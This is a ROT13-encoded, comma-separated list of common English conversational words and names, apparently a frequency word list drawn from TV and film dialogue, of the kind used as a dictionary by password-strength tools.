a,orfvqrf,chyy,uvzfrys,unfa'g,npg,jbegu,furevqna,nznmvat,gbc,tvira,rkcrpg,engure,vaibyirq,fjrne,cvrpr,ohfl,ynj,qrpvqrq,unccravat,zbivr,jr'q,pngpu,pbhagel,yrff,creuncf,fgrc,snyy,jngpuvat,xrcg,qneyvat,qbt,jva,nve,ubabe,crefbany,zbivat,gvyy,nqzvg,ceboyrzf,zheqre,ur'q,rivy,qrsvavgryl,srryf,vasbezngvba,ubarfg,rlr,oebxr,zvffrq,ybatre,qbyynef,gverq,riravat,uhzna,fgnegvat,erq,ragver,gevc,pyho,avyrf,fhccbfr,pnyz,vzntvar,snve,pnhtug,oynzr,fgerrg,fvggvat,snibe,ncnegzrag,pbheg,greevoyr,pyrna,yrnea,jbexf,senfvre,erynk,zvyyvba,nppvqrag,jnxr,cebir,fzneg,zrffntr,zvffvat,sbetbg,vagrerfgrq,gnoyr,aofc,orpbzr,zbhgu,certanag,zvqqyr,evat,pnershy,funyy,grnz,evqr,svtherq,jrne,fubbg,fgvpx,sbyybj,natel,vafgrnq,jevgr,fgbccrq,rneyl,ena,jne,fgnaqvat,sbetvir,wnvy,jrnevat,xvaqn,yhapu,pevfgvna,rvtug,terrayrr,tbggra,ubcvat,cubror,gubhfnaq,evqtr,cncre,gbhtu,gncr,fgngr,pbhag,oblsevraq,cebhq,nterr,oveguqnl,frira,gurl'ir,uvfgbel,funer,bssre,uheel,srrg,jbaqrevat,qrpvfvba,ohvyqvat,barf,svavfu,ibvpr,urefrys,jbhyq'ir,yvfg,zrff,qrfreir,rivqrapr,phgr,qerff,vagrerfgvat,ubgry,dhvrg,pbaprearq,ebnq,fgnlvat,orng,fjrrgvr,zragvba,pybgurf,svavfurq,sryy,arvgure,zzz,svk,erfcrpg,fcrag,cevfba,nggragvba,ubyqvat,pnyyf,arne,fhecevfrq,one,xrrcvat,tvsg,unqa'g,chggvat,qnex,frys,bjr,hfvat,vpr,urycvat,abezny,nhag,ynjlre,ncneg,pregnva,cynaf,wnk,tveysevraq,sybbe,jurgure,rirelguvat'f,cerfrag,rnegu,obk,pbire,whqtr,hcfgnvef,fnxr,zbzzl,cbffvoyl,jbefg,fgngvba,npgvat,npprcg,oybj,fgenatr,fnirq,pbairefngvba,cynar,znzn,lrfgreqnl,yvrq,dhvpx,yngryl,fghpx,ercbeg,qvssrerapr,evq,fgber,fur'q,ont,obhtug,qbhog,yvfgravat,jnyxvat,pbcf,qrrc,qnatrebhf,ohssl,fyrrcvat,puybr,ensr,fuu,erpbeq,ybeq,zbirq,wbva,pneq,pevzr,tragyrzra,jvyyvat,jvaqbj,erghea,jnyxrq,thvygl,yvxrf,svtugvat,qvssvphyg,fbhy,wbxr,snibevgr,hapyr,cebzvfrq,choyvp,obgure,vfynaq,frevbhfyl,pryy,yrnq,xabjvat,oebxra,nqivpr,fbzrubj,cnvq,ybfvat,chfu,urycrq,xvyyvat,hfhnyyl,rneyvre,obff,ortvaavat,yvxrq,vaabprag,qbp,ehyrf,pbc,yrnearq,guvegl,evfx,yrggvat,fcrnxvat,bssvpre,evqvphybhf,fhccbeg,nsgreabba,obea,ncbybtvmr,frng,areibhf,npebff,fbat,punetr,cngvrag,obng,ubj'q,uvqr,qrgrpgvir,cynaavat,avar,uhtr,oernxsnfg,ubeevoyr,ntr,njshy,cyrnfher,qevivat,unatvat,cvpxrq,fryy,dhvg,nccneragyl,qlvat,abgvpr,pbatenghyngvbaf,puvrs,bar'f,zbagu,ivfvg,pbhyq'ir,p'zba,yrggre,qrpvqr,qbhoyr,fnq,cerff,sbejneq,sbby,fubjrq,fzryy,frrzrq,fcryy,zrzbel,cvpgherf,fybj,frpbaqf,uhatel,obneq,cbfvgvba,urnevat,ebm,xvgpura,zn'nz,sbepr,syl,qhevat,fcnpr,fubhyq'ir,ernyvmrq,rkcrevrapr,xvpx,bguref,teno,zbgure'f,qvfphff,guveq,png,svsgl,erfcbafvoyr,sng,ernqvat,vqvbg,lrc,fhqqrayl,ntrag,qrfgebl,ohpxf,genpx,fubrf,fprar,crnpr,nezf,qrzba,ybj,yviivr,pbafvqre,cncref,zrqvpny,vaperqvoyr,jvgpu,qehax,nggbearl,gryyf,xabpx,jnlf,tvirf,qrcnegzrag,abfr,fxlr,gheaf,xrrcf,wrnybhf,qeht,fbbare,pnerf,cyragl,rkgen,grn,jba,nggnpx,tebhaq,jubfr,bhggn,jrrxraq,znggref,jebgr,glcr,sngure'f,tbfu,bccbeghavgl,vzcbffvoyr,obbxf,jnfgr,cergraq,anzrq,whzc,rngvat,cebbs,pbzcyrgr,fyrcg,pnerre,neerfg,oerngur,cresrpgyl,jnez,chyyrq,gjvpr,rnfvre,tbva,qngvat,fhvg,ebznagvp,qehtf,pbzsbegnoyr,svaqf,purpxrq,svg,qvibepr,ortva,bhefryirf,pybfre,ehva,nygubhtu,fzvyr,ynhtu,gerng,tbq'f,srne,jung'q,thl'f,bgurejvfr,rkpvgrq,znvy,uvqvat,pbfg,fgbyr,cnprl,abgvprq,sverq,rkpryyrag,yvirq,oevatvat,cbc,obggbz,abgr,fhqqra,onguebbz,syvtug,ubarfgyl,fvat,sbbg,tnzrf,erzvaq,onax,punetrf,jvgarff,svaqvat,cynprf,gerr,qner,uneqyl,gung'yy,vagrerfg,fgrny,fvyyl,pbagnpg,grnpu,fubc,cyhf,pbybary,serfu,gevny,vaivgrq,ebyy,enqvb,ernpu,uru,pubbfr,rzretrapl,qebccrq,perqvg,boivbhf,pel,ybpxrq,ybivat,cbfvgvir,ahgf,nterrq,cehr,tbbqolr,pbaqvgvba,thneq,shpxva,tebj,pnxr,zbbq,qnq'f,gbgny,penc,pelvat,orybat,ynl,cnegare,gevpx,cerffher,buu,nez,qerffrq,phc,yvrf,ohf,gnfgr,arpx,fbhgu,fbzrguvat'f,ahefr,envfr,ybgf,pneel,tebhc,jubrire,qevaxvat,gurl'q,oernxvat,svyr,ybpx,jvar,pybfrq,jevgvat,fcbg,cnlvat,fghql,nffhzr,nfyrrc,zna'f,gheavat,yrtny,ivxv,orqebbz,fubjre,avxbynf,pnzren,svyy,ernfbaf,sbegl,ovttre,abcr,oerngu,qbpgbef,cnagf,yriry,zbivrf,trr,nern,sbyxf,htu,pbagvahr,sbphf,jvyq,gehyl,qrfx,pbaivapr,pyvrag,guerj,onaq,uhegf,fcraqvat,nyybj,tenaq,nafjref,fuveg,punve,nyybjrq,ebhtu,qbva,frrf,tbireazrag,bhtug,rzcgl,ebhaq,ung,jvaq,fubjf,njner,qrnyvat,cnpx,zrnavat,uhegvat,fuvc,fhowrpg,thrfg,zbz'f,cny,zngpu,neerfgrq,fnyrz,pbashfrq,fhetrel,rkcrpgvat,qrnpba,hasbeghangryl,tbqqnza,yno,cnffrq,obggyr,orlbaq,jurarire,cbby,bcvavba,uryq,pbzzba,fgnegf,wrex,frpergf,snyyvat,cynlrq,arprffnel,oneryl,qnapvat,urnygu,grfgf,pbcl,pbhfva,cynaarq,qel,nurz,gjryir,fvzcyl,grff,fxva,bsgra,svsgrra,fcrrpu,anzrf,vffhr,beqref,anu,svany,erfhygf,pbqr,oryvrirq,pbzcyvpngrq,hzz,erfrnepu,abjurer,rfpncr,ovttrfg,erfgnhenag,tengrshy,hfhny,ohea,nqqerff,jvguva,fbzrcynpr,fperj,rireljurer,genva,svyz,erterg,tbbqarff,zvfgnxrf,qrgnvyf,erfcbafvovyvgl,fhfcrpg,pbeare,ureb,qhzo,greevsvp,shegure,tnf,jubb,ubyr,zrzbevrf,b'pybpx,sbyybjvat,raqrq,abobql'f,grrgu,ehvarq,fcyvg,nvecbeg,ovgr,fgraorpx,byqre,yvne,fubjvat,cebwrpg,pneqf,qrfcrengr,gurzfryirf,cngurgvp,qnzntr,fcbxr,dhvpxyl,fpner,znenu,nssbeq,ibgr,frggyr,zragvbarq,qhr,fgnlrq,ehyr,purpxvat,gvr,uverq,hcba,urnqf,pbaprea,oyrj,angheny,nypnmne,punzcntar,pbaarpgvba,gvpxrgf,unccvarff,sbez,fnivat,xvffvat,ungrq,crefbanyyl,fhttrfg,cercnerq,ohvyq,yrt,bagb,yrnirf,qbjafgnvef,gvpxrg,vg'q,gnhtug,ybbfr,ubyl,fgnss,frn,qhgl,pbaivaprq,guebjvat,qrsrafr,xvffrq,yrtf,nppbeqvat,ybhq,cenpgvpr,fngheqnl,onovrf,nezl,jurer'q,jneavat,zvenpyr,pneelvat,sylvat,oyvaq,htyl,fubccvat,ungrf,fbzrbar'f,fvtug,oevqr,pbng,nppbhag,fgngrf,pyrneyl,pryroengr,oevyyvnag,jnagvat,nqq,sbeerfgre,yvcf,phfgbql,pragre,fperjrq,ohlvat,fvmr,gbnfg,gubhtugf,fghqrag,fgbevrf,ubjrire,cebsrffvbany,ernyvgl,ovegu,yrkvr,nggvghqr,nqinagntr,tenaqsngure,fnzv,fbyq,bcrarq,tenaqzn,ort,punatrf,fbzrqnl,tenqr,ebbs,oebguref,fvtarq,nuu,zneelvat,cbjreshy,tebja,tenaqzbgure,snxr,bcravat,rkcrpgrq,riraghnyyl,zhfg'ir,vqrnf,rkpvgvat,pbirerq,snzvyvne,obzo,obhg,gryrivfvba,unezbal,pbybe,urnil,fpurqhyr,erpbeqf,pncnoyr,cenpgvpnyyl,vapyhqvat,pbeerpg,pyhr,sbetbggra,vzzrqvngryl,nccbvagzrag,fbpvny,angher,qrfreirf,guerng,oybbql,ybaryl,beqrerq,funzr,ybpny,wnpxrg,ubbx,qrfgeblrq,fpnel,vairfgvtngvba,nobir,vaivgr,fubbgvat,cbeg,yrffba,pevzvany,tebjvat,pnhfrq,ivpgvz,cebsrffbe,sbyybjrq,shareny,abguvat'f,pbafvqrevat,oheavat,fgeratgu,ybff,ivrj,tvn,fvfgref,rirelobql'f,frireny,chfurq,jevggra,fbzrobql'f,fubpx,chfuvat,urng,pubpbyngr,terngrfg,zvfrenoyr,pbevagubf,avtugzner,oevatf,mnaqre,punenpgre,orpnzr,snzbhf,rarzl,penfu,punaprf,fraqvat,erpbtavmr,urnygul,obevat,srrq,ratntrq,creprag,urnqrq,yvarf,gerngrq,checbfr,xavsr,evtugf,qent,fna,sna,onqyl,uver,cnvag,cneqba,ohvyg,orunivbe,pybfrg,jnea,tbetrbhf,zvyx,fheivir,sbeprq,bcrengvba,bssrerq,raqf,qhzc,erag,erzrzorerq,yvrhgranag,genqr,gunaxftvivat,enva,eriratr,culfvpny,ninvynoyr,cebtenz,cersre,onol'f,fcner,cenl,qvfnccrnerq,nfvqr,fgngrzrag,fbzrgvzr,zrng,snagnfgvp,oernguvat,ynhtuvat,vgfrys,gvc,fgbbq,znexrg,nssnve,bhef,qrcraqf,znva,cebgrpgvat,whel,angvbany,oenir,ynetr,wnpx'f,vagreivrj,svatref,zheqrerq,rkcynangvba,cebprff,cvpxvat,onfrq,fglyr,cvrprf,oynu,nffvfgnag,fgebatre,nnu,cvr,unaqfbzr,haoryvrinoyr,nalgvzr,arneyl,funxr,rirelbar'f,bnxqnyr,pnef,jurerire,freir,chyyvat,cbvagf,zrqvpvar,snpgf,jnvgrq,ybhfl,pvephzfgnaprf,fgntr,qvfnccbvagrq,jrnx,gehfgrq,yvprafr,abguva,pbzzhavgl,genfu,haqrefgnaqvat,fyvc,pno,fbhaqrq,njnxr,sevraqfuvc,fgbznpu,jrncba,guerngrarq,zlfgrel,bssvpvny,erthyne,evire,irtnf,haqrefgbbq,pbagenpg,enpr,onfvpnyyl,fjvgpu,senaxyl,vffhrf,purnc,yvsrgvzr,qral,cnvagvat,rne,pybpx,jrvtug,tneontr,jul'q,grne,rnef,qvt,fryyvat,frggvat,vaqrrq,punatvat,fvatvat,gval,cnegvphyne,qenj,qrprag,nibvq,zrffrq,svyyrq,gbhpurq,fpber,crbcyr'f,qvfnccrne,rknpg,cvyyf,xvpxrq,unez,erpragyl,sbeghar,cergraqvat,envfrq,vafhenapr,snapl,qebir,pnerq,orybatf,avtugf,funcr,yberynv,onfr,yvsg,fgbpx,fbaal'f,snfuvba,gvzvat,thnenagrr,purfg,oevqtr,jbxr,fbhepr,cngvragf,gurbel,bevtvany,ohearq,jngpurq,urnqvat,frysvfu,bvy,qevaxf,snvyrq,crevbq,qbyy,pbzzvggrq,ryringbe,serrmr,abvfr,rkvfg,fpvrapr,cnve,rqtr,jnfgvat,fng,prerzbal,cvt,hapbzsbegnoyr,crt,thaf,fgnevat,svyrf,ovxr,jrngure,anzr'f,zbfgyl,fgerff,crezvffvba,neevirq,guebja,cbffvovyvgl,rknzcyr,obeebj,eryrnfr,ngr,abgrf,ubb,yvoenel,cebcregl,artngvir,snohybhf,rirag,qbbef,fpernzvat,knaqre,grez,jung'er,zrny,sryybj,ncbybtl,natre,ubarlzbba,jrg,onvy,cnexvat,aba,cebgrpgvba,svkrq,snzvyvrf,puvarfr,pnzcnvta,znc,jnfu,fgbyra,frafvgvir,fgrnyvat,pubfr,yrgf,pbzsbeg,jbeelvat,jubz,cbpxrg,zngrb,oyrrqvat,fghqragf,fubhyqre,vtaber,sbhegu,arvtuobeubbq,sov,gnyrag,gvrq,tnentr,qvrf,qrzbaf,qhzcrq,jvgpurf,genvavat,ehqr,penpx,zbqry,obgurevat,enqne,terj,erznva,fbsg,zrnagvzr,tvzzr,pbaarpgrq,xvaqf,pnfg,fxl,yvxryl,sngr,ohevrq,uht,oebgure'f,pbapragengr,cebz,zrffntrf,rnfg,havg,vagraq,perj,nfunzrq,fbzrguva,znantr,thvyg,jrncbaf,grezf,vagreehcg,thgf,gbathr,qvfgnapr,pbasrerapr,gerngzrag,fubr,onfrzrag,fragrapr,chefr,tynffrf,pnova,havirefr,gbjneqf,ercrng,zveebe,jbhaq,geniref,gnyy,ernpgvba,bqq,ratntrzrag,gurencl,yrggref,rzbgvbany,ehaf,zntnmvar,wrrm,qrpvfvbaf,fbhc,qnhtugre'f,guevyyrq,fbpvrgl,znantrq,fgnxr,purs,zbirf,rkgerzryl,ragveryl,zbzragf,rkcrafvir,pbhagvat,fubgf,xvqanccrq,fdhner,fba'f,pyrnavat,fuvsg,cyngr,vzcerffrq,fzryyf,genccrq,znyr,gbhe,nvqna,xabpxrq,punezvat,nggenpgvir,nethr,chgf,juvc,ynathntr,rzoneenffrq,frggyrq,cnpxntr,ynvq,navznyf,uvggvat,qvfrnfr,ohfg,fgnvef,nynez,cher,anvy,areir,vaperqvoyl,jnyxf,qveg,fgnzc,fvfgre'f,orpbzvat,greevoyl,sevraqyl,rnfvyl,qnzarq,wbof,fhssrevat,qvfthfgvat,fgbccvat,qryvire,evqvat,urycf,srqreny,qvfnfgre,onef,qan,pebffrq,engr,perngr,genc,pynvz,pnyvsbeavn,gnyxf,rttf,rssrpg,puvpx,guerngravat,fcbxra,vagebqhpr,pbasrffvba,rzoneenffvat,ontf,vzcerffvba,tngr,lrne'f,erchgngvba,nggnpxrq,nzbat,xabjyrqtr,cerfragf,vaa,rhebcr,pung,fhssre,nethzrag,gnyxva,pebjq,ubzrjbex,sbhtug,pbvapvqrapr,pnapry,npprcgrq,evc,cevqr,fbyir,ubcrshyyl,cbhaqf,cvar,zngr,vyyrtny,trarebhf,fgerrgf,pba,frcnengr,bhgsvg,znvq,ongu,chapu,znlbe,sernxrq,orttvat,erpnyy,rawblvat,oht,jbzna'f,cercner,cnegf,jurry,fvtany,qverpgvba,qrsraq,fvtaf,cnvashy,lbhefryirf,eng,znevf,nzbhag,gung'q,fhfcvpvbhf,syng,pbbxvat,ohggba,jnearq,fvkgl,cvgl,cnegvrf,pevfvf,pbnpu,ebj,lryyvat,yrnqf,njuvyr,cra,pbasvqrapr,bssrevat,snyyf,vzntr,snez,cyrnfrq,cnavp,uref,trggva,ebyr,ershfr,qrgrezvarq,uryy'f,tenaqcn,cebterff,grfgvsl,cnffvat,zvyvgnel,pubvprf,huu,tlz,pehry,jvatf,obqvrf,zragny,tragyrzna,pbzn,phggvat,cebgrhf,thrfgf,tvey'f,rkcreg,orarsvg,snprf,pnfrf,yrq,whzcrq,gbvyrg,frpergnel,farnx,zvk,svez,unyybjrra,nterrzrag,cevinpl,qngrf,naavirefnel,fzbxvat,erzvaqf,cbg,perngrq,gjvaf,fjvat,fhpprffshy,frnfba,fpernz,pbafvqrerq,fbyvq,bcgvbaf,pbzzvgzrag,fravbe,vyy,ryfr'f,pehfu,nzohynapr,jnyyrg,qvfpbirerq,bssvpvnyyl,gvy,evfr,ernpurq,ryrira,bcgvba,ynhaqel,sbezre,nffher,fgnlf,fxvc,snvy,npphfrq,jvqr,punyyratr,cbchyne,yrneavat,qvfphffvba,pyvavp,cynag,rkpunatr,orgenlrq,oeb,fgvpxvat,havirefvgl,zrzoref,ybjre,oberq,znafvba,fbqn,furevss,fhvgr,unaqyrq,ohfgrq,frangbe,ybnq,unccvre,lbhatre,fghqlvat,ebznapr,cebprqher,bprna,frpgvba,frp,pbzzvg,nffvtazrag,fhvpvqr,zvaqf,fjvz,raqvat,ong,lryy,yynaivrj,yrnthr,punfvat,frngf,cebcre,pbzznaq,oryvrirf,uhzbe,ubcrf,svsgu,jvaavat,fbyhgvba,yrnqre,gurerfn'f,fnyr,ynjlref,abe,zngrevny,yngrfg,uvtuyl,rfpncrq,nhqvrapr,cnerag,gevpxf,vafvfg,qebccvat,purre,zrqvpngvba,uvture,syrfu,qvfgevpg,ebhgvar,praghel,funerq,fnaqjvpu,unaqrq,snyfr,orngvat,nccrne,jneenag,snzvyl'f,njshyyl,bqqf,negvpyr,gerngvat,guva,fhttrfgvat,srire,fjrng,fvyrag,fcrpvsvp,pyrire,fjrngre,erdhrfg,cevmr,znyy,gevrf,zvyr,shyyl,rfgngr,havba,funevat,nffhzvat,whqtzrag,tbbqavtug,qvibeprq,qrfcvgr,fheryl,fgrcf,wrg,pbasrff,zngu,yvfgrarq,pbzva,nafjrerq,ihyarenoyr,oyrff,qernzvat,ebbzf,puvc,mreb,cbgragvny,cvffrq,angr,xvyyf,grnef,xarrf,puvyy,pneyl'f,oenvaf,ntrapl,uneineq,qrterr,hahfhny,jvsr'f,wbvag,cnpxrq,qernzrq,pher,pbirevat,arjfcncre,ybbxva,pbnfg,tenir,rtt,qverpg,purngvat,oernxf,dhnegre,zvkrq,ybpxre,uhfonaq'f,tvsgf,njxjneq,gbl,guhefqnl,ener,cbyvpl,xvq'f,wbxvat,pbzcrgvgvba,pynffrf,nffhzrq,ernfbanoyr,qbmra,phefr,dhnegreznvar,zvyyvbaf,qrffreg,ebyyvat,qrgnvy,nyvra,freirq,qryvpvbhf,pybfvat,inzcverf,eryrnfrq,napvrag,jber,inyhr,gnvy,frpher,fnynq,zheqrere,uvgf,gbjneq,fcvg,fperra,bssrafr,qhfg,pbafpvrapr,oernq,nafjrevat,nqzvggrq,ynzr,vaivgngvba,tevrs,fzvyvat,cngu,fgnaqf,objy,certanapl,ubyyljbbq,cevfbare,qryvirel,thneqf,ivehf,fuevax,vasyhrapr,serrmvat,pbapreg,jerpx,cnegaref,znffvzb,punva,oveqf,yvsr'f,jver,grpuavpnyyl,cerfrapr,oybja,nakvbhf,pnir,irefvba,ubyvqnlf,pyrnerq,jvfurf,fheivirq,pnevat,pnaqyrf,obhaq,eryngrq,punez,lhc,chyfr,whzcvat,wbxrf,senzr,obbz,ivpr,cresbeznapr,bppnfvba,fvyrapr,bcren,abafrafr,sevtugrarq,qbjagbja,nzrevpnaf,fyvccrq,qvzren,oybjvat,jbeyq'f,frffvba,eryngvbafuvcf,xvqanccvat,npghny,fcva,pvivy,ebkl,cnpxvat,rqhpngvba,oynzvat,jenc,bofrffrq,sehvg,gbegher,crefbanyvgl,ybpngvba,rssbeg,qnqql'f,pbzznaqre,gerrf,gurer'yy,bjare,snvel,cre,bgure'f,arprffnevyl,pbhagl,pbagrfg,friragl,cevag,zbgry,snyyra,qverpgyl,haqrejrne,tenzf,rkunhfgrq,oryvrivat,cnegvphyneyl,sernxvat,pnershyyl,genpr,gbhpuvat,zrffvat,pbzzvggrr,erpbirel,vagragvba,pbafrdhraprf,oryg,fnpevsvpr,pbhentr,bssvpref,rawblrq,ynpx,nggenpgrq,nccrnef,onl,lneq,erghearq,erzbir,ahg,pneevrq,gbqnl'f,grfgvzbal,vagrafr,tenagrq,ivbyrapr,urny,qrsraqvat,nggrzcg,hasnve,eryvrirq,cbyvgvpny,yblny,nccebnpu,fybjyl,cynlf,abeznyyl,ohmm,nypbuby,npgbe,fhecevfrf,cflpuvngevfg,cer,cynva,nggvp,jub'q,havsbez,greevsvrq,fbaf,crg,pyrnarq,mnpu,guerngra,grnpuvat,zhz,zbgvba,sryyn,rarzvrf,qrfreg,pbyyrpgvba,vapvqrag,snvyher,fngvfsvrq,vzntvangvba,ubbxrq,urnqnpur,sbetrggvat,pbhafrybe,naqvr,npgrq,bccbfvgr,uvturfg,rdhvczrag,onqtr,vgnyvna,ivfvgvat,anghenyyl,sebmra,pbzzvffvbare,fnxrf,ynobe,nccebcevngr,gehax,nezrq,gubhfnaqf,erprvirq,qhaab,pbfghzr,grzcbenel,fvkgrra,vzcerffvir,mbar,xvpxvat,whax,uba,tenoorq,hayvxr,haqrefgnaqf,qrfpevor,pyvragf,bjaf,nssrpg,jvgarffrf,fgneivat,vafgvapgf,unccvyl,qvfphffvat,qrfreirq,fgenatref,yrnqvat,vagryyvtrapr,ubfg,nhgubevgl,fheirvyynapr,pbj,pbzzrepvny,nqzver,dhrfgvbavat,shaq,qenttrq,onea,bowrpg,qrrcyl,nzc,jenccrq,jnfgrq,grafr,ebhgr,ercbegf,ubcrq,sryynf,ryrpgvba,ebbzzngr,zbegny,snfpvangvat,pubfra,fgbcf,fubja,neenatrq,nonaqbarq,fvqrf,qryvirerq,orpbzrf,neenatrzragf,ntraqn,ortna,gurngre,frevrf,yvgrenyyl,cebcbfr,ubarfgl,haqrearngu,sbeprf,freivprf,fnhpr,cebzvfrf,yrpgher,rvtugl,gbea,fubpxrq,eryvrs,rkcynvarq,pbhagre,pvepyr,ivpgvzf,genafsre,erfcbafr,punaary,vqragvgl,qvssreragyl,pnzchf,fcl,avargl,vagrerfgf,thvqr,qrpx,ovbybtvpny,currof,rnfr,perrc,jvyy'f,jnvgerff,fxvyyf,gryrcubar,evccrq,envfvat,fpengpu,evatf,cevagf,jnir,gurr,nethvat,svtherf,rcuenz,nfxf,erprcgvba,cva,bbcf,qvare,naablvat,ntragf,gnttreg,tbny,znff,novyvgl,fretrnag,whyvna'f,vagreangvbany,tvt,oynfg,onfvp,genqvgvba,gbjry,rnearq,eho,cerfvqrag'f,unovg,phfgbzref,perngher,orezhqn,npgvbaf,fanc,ernpg,cevzr,cnenabvq,jun,unaqyvat,rngra,gurencvfg,pbzzrag,punetrq,gnk,fvax,ercbegre,orngf,cevbevgl,vagreehcgvat,tnva,srq,jnerubhfr,ful,cnggrea,yblnygl,vafcrpgbe,riragf,cyrnfnag,zrqvn,rkphfrf,guerngf,creznarag,thrffvat,svanapvny,qrznaq,nffnhyg,graq,cenlvat,zbgvir,ybf,hapbafpvbhf,genvarq,zhfrhz,genpxf,enatr,anc,zlfgrevbhf,haunccl,gbar,fjvgpurq,enccncbeg,njneq,fbbxvr,arvtuobe,ybnqrq,thg,puvyqubbq,pnhfvat,fjber,cvff,uhaqerqf,onynapr,onpxtebhaq,gbff,zbo,zvfrel,inyragvar'f,guvrs,fdhrrmr,ybool,unu,tbn'hyq,trrm,rkrepvfr,rtb,qenzn,ny'f,sbegu,snpvat,obbxrq,obb,fbatf,fnaqohet,rvtugrra,q'lbh,ohel,cresbez,rirelqnl,qvttvat,perrcl,pbzcnerq,jbaqrerq,genvy,yvire,uzzz,qenja,qrivpr,zntvpny,wbhearl,svgf,qvfphffrq,fhccyl,zbeny,urycshy,nggnpurq,gvzzl'f,frnepuvat,syrj,qrcerffrq,nvfyr,haqretebhaq,ceb,qnhtugref,pevf,nzra,ibjf,cebcbfny,cvg,arvtuobef,qnea,pragf,neenatr,naahyzrag,hfrf,hfryrff,fdhnq,ercerfrag,cebqhpg,wbvarq,nsgrejneqf,nqiragher,erfvfg,cebgrpgrq,arg,sbhegrra,pryroengvat,cvnab,vapu,synt,qrog,ivbyrag,gnt,fnaq,thz,qnzzvg,grny'p,uvc,pryroengvba,orybj,erzvaqrq,pynvzf,gbavtug'f,ercynpr,cubarf,cncrejbex,rzbgvbaf,glcvpny,fghoobea,fgnoyr,furevqna'f,cbhaq,cncn,ync,qrfvtarq,pheerag,ohz,grafvba,gnax,fhssrerq,fgrnql,cebivqr,bireavtug,zrnajuvyr,puvcf,orrs,jvaf,fhvgf,obkrf,fnyg,pnffnqvar,pbyyrpg,obl'f,gentrql,gurersber,fcbvy,ernyz,cebsvyr,qrterrf,jvcr,fhetrba,fgergpu,fgrccrq,arcurj,arng,yvzb,pbasvqrag,nagv,crefcrpgvir,qrfvtare,pyvzo,gvgyr,fhttrfgrq,chavfuzrag,svarfg,rguna'f,fcevatsvryq,bppheerq,uvag,sheavgher,oynaxrg,gjvfg,fheebhaqrq,fhesnpr,cebprrq,yvc,sevrf,jbeevrf,ershfrq,avrpr,tybirf,fbnc,fvtangher,qvfnccbvag,penjy,pbaivpgrq,mbb,erfhyg,cntrf,yvg,syvc,pbhafry,qbhogf,pevzrf,npphfvat,jura'f,funxvat,erzrzorevat,cunfr,unyyjnl,unysjnl,obgurerq,hfrshy,znxrhc,znqnz,tngure,pbapreaf,pvn,pnzrenf,oynpxznvy,flzcgbzf,ebcr,beqvanel,vzntvarq,pbaprcg,pvtnerggr,fhccbegvir,zrzbevny,rkcybfvba,lnl,jbb,genhzn,bhpu,yrb'f,shevbhf,purng,nibvqvat,jurj,guvpx,bbbu,obneqvat,nccebir,hetrag,fuuu,zvfhaqrefgnaqvat,zvavfgre,qenjre,fva,cubal,wbvavat,wnz,vagresrer,tbireabe,puncgre,pngpuvat,onetnva,gentvp,fpubbyf,erfcbaq,chavfu,cragubhfr,ubc,gubh,erznvaf,enpu,buuu,vafhyg,qbpgbe'f,ohtf,orfvqr,orttrq,nofbyhgr,fgevpgyl,fgrsnab,fbpxf,frafrf,hcf,farnxvat,lnu,freivat,erjneq,cbyvgr,purpxf,gnyr,culfvpnyyl,vafgehpgvbaf,sbbyrq,oybjf,gnool,vagreany,ovggre,nqbenoyr,l'nyy,grfgrq,fhttrfgvba,fgevat,wrjryel,qrongr,pbz,nyvxr,cvgpu,snk,qvfgenpgrq,furygre,yrffbaf,sbervta,nirentr,gjva,sevraq'f,qnzavg,pbafgnoyr,pvephf,nhqvgvba,ghar,fubhyqref,zhq,znfx,urycyrff,srrqvat,rkcynvaf,qngrq,eboorel,bowrpgvba,orunir,inyhnoyr,funqbjf,pbhegebbz,pbashfvat,gho,gnyragrq,fgehpx,fznegre,zvfgnxra,vgnyl,phfgbzre,ovmneer,fpnevat,chax,zbgureshpxre,ubyqf,sbphfrq,nyreg,npgvivgl,irppuvb,erireraq,uvtujnl,sbbyvfu,pbzcyvzrag,onfgneqf,nggraq,fpurzr,nvq,jbexre,jurrypunve,cebgrpgvir,cbrgel,tragyr,fpevcg,erirefr,cvpavp,xarr,vagraqrq,pbafgehpgvba,pntr,jrqarfqnl,ibvprf,gbrf,fgvax,fpnerf,cbhe,rssrpgf,purngrq,gbjre,gvzr'f,fyvqr,ehvavat,erprag,wrjvfu,svyyvat,rkvg,pbggntr,pbecbengr,hcfvqr,fhccyvrf,cebirf,cnexrq,vafgnapr,tebhaqf,qvnel,pbzcynvavat,onfvf,jbhaqrq,guvat'f,cbyvgvpf,pbasrffrq,cvcr,zreryl,znffntr,qngn,pubc,ohqtrg,oevrs,fcvyy,cenlre,pbfgf,orgenl,ortvaf,neenatrzrag,jnvgre,fpnz,engf,senhq,syh,oehfu,nalbar'f,nqbcgrq,gnoyrf,flzcngul,cvyy,crr,jro,friragrra,ynaqrq,rkcerffvba,ragenapr,rzcyblrr,qenjvat,pnc,oenpryrg,cevapvcny,cnlf,wra'f,snveyl,snpvyvgl,qeh,qrrcre,neevir,havdhr,genpxvat,fcvgr,furq,erpbzzraq,bhtugn,anaal,anvir,zrah,tenqrf,qvrg,pbea,nhgubevgvrf,frcnengrq,ebfrf,cngpu,qvzr,qrinfgngrq,qrfpevcgvba,gnc,fhogyr,vapyhqr,pvgvmra,ohyyrgf,ornaf,evp,cvyr,ynf,rkrphgvir,pbasvez,gbr,fgevatf,cnenqr,uneobe,punevgl'f,obj,obeebjrq,gblf,fgenvtugra,fgrnx,fgnghf,erzbgr,cerzbavgvba,cbrz,cynagrq,ubaberq,lbhgu,fcrpvsvpnyyl,zrrgvatf,rknz,pbairavrag,geniryvat,zngpurf,ynlvat,vafvfgrq,nccyl,havgf,grpuabybtl,qvfu,nvgbeb,fvf,xvaqyl,tenaqfba,qbabe,grzcre,grrantre,fgengrtl,evpuneq'f,cebira,veba,qravny,pbhcyrf,onpxjneqf,grag,fjryy,abba,unccvrfg,rcvfbqr,qevirf,guvaxva,fcvevgf,cbgvba,srapr,nssnvef,npgf,jungfbrire,erurnefny,cebirq,bireurneq,ahpyrne,yrzzr,ubfgntr,snprq,pbafgnag,orapu,gelva,gnkv,fubir,frgf,zbeba,yvzvgf,vzcerff,ragvgyrq,arrqyr,yvzvg,ynq,vagryyvtrag,vafgnag,sbezf,qvfnterr,fgvaxf,evnaan,erpbire,cnhy'f,ybfref,tebbz,trfgher,qrirybcrq,pbafgnagyl,oybpxf,onegraqre,ghaary,fhfcrpgf,frnyrq,erzbirq,yrtnyyl,vyyarff,urnef,qerffrf,nlr,iruvpyr,gul,grnpuref,furrg,erprvir,cflpuvp,avtug'f,qravrq,xabpxvat,whqtvat,ovoyr,orunys,nppvqragnyyl,jnxvat,gba,fhcrevbe,frrx,ehzbe,angnyvr'f,znaaref,ubzryrff,